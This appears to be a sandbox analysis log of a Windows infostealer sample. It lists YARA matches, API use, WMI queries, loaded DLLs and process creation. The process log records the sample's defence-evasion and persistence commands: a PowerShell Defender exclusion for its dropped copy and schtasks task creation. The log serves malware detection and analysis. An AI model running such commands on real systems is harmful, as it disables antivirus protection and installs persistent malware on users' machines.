Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 7_2_0312E368	7_2_0312E368
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 7_2_0663A5C8	7_2_0663A5C8
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 7_2_06634448	7_2_06634448
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 7_2_06634431	7_2_06634431
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 7_2_066364A7	7_2_066364A7
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 7_2_066364B8	7_2_066364B8
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 7_2_06634CB6	7_2_06634CB6
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 7_2_06634CB8	7_2_06634CB8
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 7_2_066368E0	7_2_066368E0
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 7_2_066368F0	7_2_066368F0
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 7_2_06634880	7_2_06634880
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_013D4178	12_2_013D4178
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_013DE0E1	12_2_013DE0E1
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_013DD950	12_2_013DD950
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_013D4A48	12_2_013D4A48
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_013D3E30	12_2_013D3E30
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D48B8C	12_2_06D48B8C
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D41BA3	12_2_06D41BA3
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D41BA8	12_2_06D41BA8
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D565C8	12_2_06D565C8
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D555A8	12_2_06D555A8
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D5B2B9	12_2_06D5B2B9
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D53070	12_2_06D53070
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D5C168	12_2_06D5C168
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D57D60	12_2_06D57D60
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D57680	12_2_06D57680
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D5E388	12_2_06D5E388
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D52342	12_2_06D52342
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D50040	12_2_06D50040
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D55CB7	12_2_06D55CB7
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Code function: 12_2_06D50006	12_2_06D50006

Source: z1E-catalogSamples.exe	Binary or memory string: OriginalFilename vs z1E-catalogSamples.exe
Source: z1E-catalogSamples.exe, 00000000.00000002.2101535049.0000000003141000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs z1E-catalogSamples.exe
Source: z1E-catalogSamples.exe, 00000000.00000002.2101535049.00000000031EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamebb634632-562a-4a42-9009-a1faa07fc1d1.exe4 vs z1E-catalogSamples.exe
Source: z1E-catalogSamples.exe, 00000000.00000000.2055190218.0000000000CAE000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVKdc.exe4 vs z1E-catalogSamples.exe
Source: z1E-catalogSamples.exe, 00000000.00000002.2104061408.0000000005C60000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs z1E-catalogSamples.exe
Source: z1E-catalogSamples.exe, 00000000.00000002.2104574579.0000000006530000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs z1E-catalogSamples.exe
Source: z1E-catalogSamples.exe, 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamebb634632-562a-4a42-9009-a1faa07fc1d1.exe4 vs z1E-catalogSamples.exe
Source: z1E-catalogSamples.exe, 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs z1E-catalogSamples.exe
Source: z1E-catalogSamples.exe, 00000000.00000002.2099951927.000000000125E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs z1E-catalogSamples.exe
Source: z1E-catalogSamples.exe, 00000006.00000002.4523979297.000000000043C000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamebb634632-562a-4a42-9009-a1faa07fc1d1.exe4 vs z1E-catalogSamples.exe
Source: z1E-catalogSamples.exe, 00000006.00000002.4524235462.0000000000FD9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs z1E-catalogSamples.exe
Source: z1E-catalogSamples.exe	Binary or memory string: OriginalFilenameVKdc.exe4 vs z1E-catalogSamples.exe

Source: z1E-catalogSamples.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.z1E-catalogSamples.exe.43b9e58.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 7.2.vZkoWbol.exe.443ad98.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 7.2.vZkoWbol.exe.4400378.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.z1E-catalogSamples.exe.437f438.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 7.2.vZkoWbol.exe.443ad98.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 7.2.vZkoWbol.exe.4400378.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.z1E-catalogSamples.exe.43b9e58.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: z1E-catalogSamples.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: vZkoWbol.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, NpXw3kw.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, NpXw3kw.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, gyfrCFT5x9I.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, gyfrCFT5x9I.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, gyfrCFT5x9I.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, gyfrCFT5x9I.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, fpnV0Qjz.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, fpnV0Qjz.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, qf3KIIPkQkHyoPCAGD.cs	Security API names: _0020.SetAccessControl
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, qf3KIIPkQkHyoPCAGD.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, qf3KIIPkQkHyoPCAGD.cs	Security API names: _0020.AddAccessRule
Source: 0.2.z1E-catalogSamples.exe.44a8310.3.raw.unpack, WeRTmg58MlbmW9GQYv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: z1E-catalogSamples.exe, vZkoWbol.exe.0.dr

Binary or memory string: M.slNL

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@18/11@3/2

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe

File created: C:\Users\user\AppData\Roaming\vZkoWbol.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7280:120:WilError_03
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3868:120:WilError_03
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Mutant created: \Sessions\1\BaseNamedObjects\OBsYgLyXXGCDPGkEKBj
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2640:120:WilError_03

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe

File created: C:\Users\user\AppData\Local\Temp\PO_00UT11

Jump to behavior

Source: z1E-catalogSamples.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: z1E-catalogSamples.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: z1E-catalogSamples.exe

ReversingLabs: Detection: 71%

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe

File read: C:\Users\user\Desktop\z1E-catalogSamples.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\z1E-catalogSamples.exe "C:\Users\user\Desktop\z1E-catalogSamples.exe"
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process created: C:\Users\user\Desktop\z1E-catalogSamples.exe "C:\Users\user\Desktop\z1E-catalogSamples.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\vZkoWbol.exe C:\Users\user\AppData\Roaming\vZkoWbol.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmpA1D5.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process created: C:\Users\user\AppData\Roaming\vZkoWbol.exe "C:\Users\user\AppData\Roaming\vZkoWbol.exe"
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process created: C:\Users\user\AppData\Roaming\vZkoWbol.exe "C:\Users\user\AppData\Roaming\vZkoWbol.exe"
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process created: C:\Users\user\Desktop\z1E-catalogSamples.exe "C:\Users\user\Desktop\z1E-catalogSamples.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmpA1D5.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process created: C:\Users\user\AppData\Roaming\vZkoWbol.exe "C:\Users\user\AppData\Roaming\vZkoWbol.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process created: C:\Users\user\AppData\Roaming\vZkoWbol.exe "C:\Users\user\AppData\Roaming\vZkoWbol.exe"	Jump to behavior

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Section loaded: rasman.dll	Jump to behavior
